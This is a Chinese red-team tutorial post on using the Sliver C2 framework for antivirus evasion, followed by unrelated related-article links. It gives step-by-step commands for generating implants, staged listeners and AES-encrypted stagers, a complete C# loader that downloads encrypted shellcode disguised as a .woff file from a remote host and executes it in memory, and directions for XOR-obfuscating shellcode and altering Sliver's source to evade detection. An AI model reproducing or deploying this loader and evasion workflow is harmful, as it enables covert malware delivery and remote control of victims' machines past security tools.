免杀对抗-安全工具篇&新型Go架构&C2-Sliver多平台&上线模式&红队集成研究&免杀方向

首先,你需要分析:

1、安全工具是否有源代码

2、安全工具源代码逻辑复杂程度

3、当前源代码你是否有能力修改

其次,你需要考虑:

1、无源码或无能力修改

2、各种异常bug打包问题

3、修改打包后效果也不太好

故:

1、非源码修改方式:

转换SC利用同C2的加载上线模式进行对抗(难度小速度快但效果不一)

2、源码修改方式:

魔改源码打乱特征的方法重新定义工具项目(难度大但修改好后效果稳)

安全工具-新型C2-Sliver使用详解

Sliver C2 是一个开源的跨平台红队框架,采用Go开发,目前特征相对于CS更少!

集成了MSF命令行运行模式,又结合了CS的优势特点,合并提供了两种操作模式

Beacon mode:实现了异步通信方式

Session mode:实现了实时会话方式

优势:

免杀能力强化

模块化多扩展

多操组员模式

开源移植性强

支持多平台(Linux, Windows and MacOS)

Implant | 植入物

Listener | 监听器

Sessions | 会话

Beacons | 信标

Armory | 扩展管理器

Multiplayer | 多操作员模式

参考:https://forum.butian.net/share/2243

服务端:

sudo apt-get install mingw-w64 binutils-mingw-w64 g+±mingw-w64

给予执行权限:chmod +x sliver-server_linux

直接执行启用:sudo ./sliver-server_linux

生成连接凭据:new-operator --name xiaodisec --lhost 192.168.139.228

启用多人运动:multiplayer

客户端:

导入凭据:

sliver-client_windows.exe import xiaodisec_192.168.139.228.cfg

再次连接:

sliver-client_windows.exe

生成exe

Session mode:

generate --http http://192.168.139.141:90 --os windows

Beacon mode:

generate beacon --http http://192.168.139.141:90 --os windows -S 5

Session mode(Shellcode)

创建profiles

http -l 9002

profiles new --http 192.168.139.141:9002 --skip-symbols --format shellcode --arch amd64 session_test

创建分阶段监听器

stage-listener --url tcp://192.168.139.141:8443 --profile session_test

创建Stager

generate stager --lhost 192.168.139.141 --lport 8443 --arch amd64 --format c

Beacon mode(Shellcode)

http -l 9003

profiles new beacon --http 192.168.139.141:9003 --skip-symbols --format shellcode --arch amd64 beacon_test(-S 5)

stage-listener --url tcp://192.168.139.141:8003 --profile beacon_test

generate stager --lhost 192.168.139.141 --lport 8003 --arch amd64 --format c

配合C# AES

参考:https://sliver.sh/docs?name=Stagers

http -l 9004

profiles new beacon --http 192.168.139.141:9004 --skip-symbols --format shellcode --arch amd64 xiaodisec

stage-listener --url http://192.168.139.141:8004 --profile xiaodisec --aes-encrypt-key xiaodigayaxiaodi --aes-encrypt-iv gayagayagayagaya

访问http://192.168.139.141:8004/xx.woff

创建出C#项目

csharp 复制代码
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Sliver_stager
{
    class Program
    {
        private static string AESKey = "D(G+KbPeShVmYq3t";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "http://192.168.24.128:8443/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);

            List<byte> l = new List<byte> { };

            for (int i = 16; i <= shellcode.Length -1; i++) {
                l.Add(shellcode[i]);
            }

            byte[] actual = l.ToArray();

            byte[] decrypted;

            decrypted = Decrypt(actual, AESKey, AESIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
            Marshal.Copy(decrypted, 0, addr, decrypted.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}

生成exe上线

配合PowerShell

参考:https://forum.butian.net/share/2275

profiles new beacon --http 192.168.139.141:9005 --skip-symbols --format shellcode --arch amd64 pstest

http -l 9005

stage-listener --url http://192.168.139.141:8005 --profile pstest

安全工具-新型C2-Sliver免杀方向

1、同CS一样针对ShellCode处理

generate stager --lhost x.x.x.x --lport xx --format raw

file_fl_xor.cpp

2、源码级别的二开魔改打乱特征

-默认生成的模版

-Profile流量模版

-改动工具执行调用链

相关推荐
小僧景贤1 小时前
嵌入式OTA升级 第一篇 OTA核心原理与Flash分区架构
架构·嵌入式ota·stm32升级
Yan_chen6662 小时前
HTTP和HTTPS 完整指南
网络协议·web安全·http·网络安全·https
艺杯羹2 小时前
从攻击者视角拆解12306:SYN泛洪、CC攻击与候补机制的攻防博弈
网络·web安全·网络安全·网络攻击模型·攻防
2603_954708312 小时前
微能网协调控制箱的核心价值:让多种能源“协同作战”
大数据·运维·网络·人工智能·架构·能源
DLYSB_2 小时前
数据库连接池爆满导致全线宕机:我用 Go 写了个“现场声光报警器”,比钉钉快了 10 倍
数据库·golang·钉钉·报警灯
星核0penstarry2 小时前
OpenAI 模型第三方网络安全评估事件解析:背景、原理与改进路径(2)
安全·web安全·云原生
有梦不弃10 小时前
模块化单体架构设计方案:DDD + 六边形架构落地实践
后端·架构
ZENERGY-众壹11 小时前
500个工商业电站压垮数据库?海量光伏时序数据存储的架构取舍
数据库·架构·influxdb·光伏·光伏运维
Dr.kangder13 小时前
嵌入式处理器仿真技术——Hypervisor 原理与实践
服务器·嵌入式硬件·架构·嵌入式
2601_9648402715 小时前
技术方案解析:4G 云边协同架构下,智能门禁系统的轻量化升级路径
架构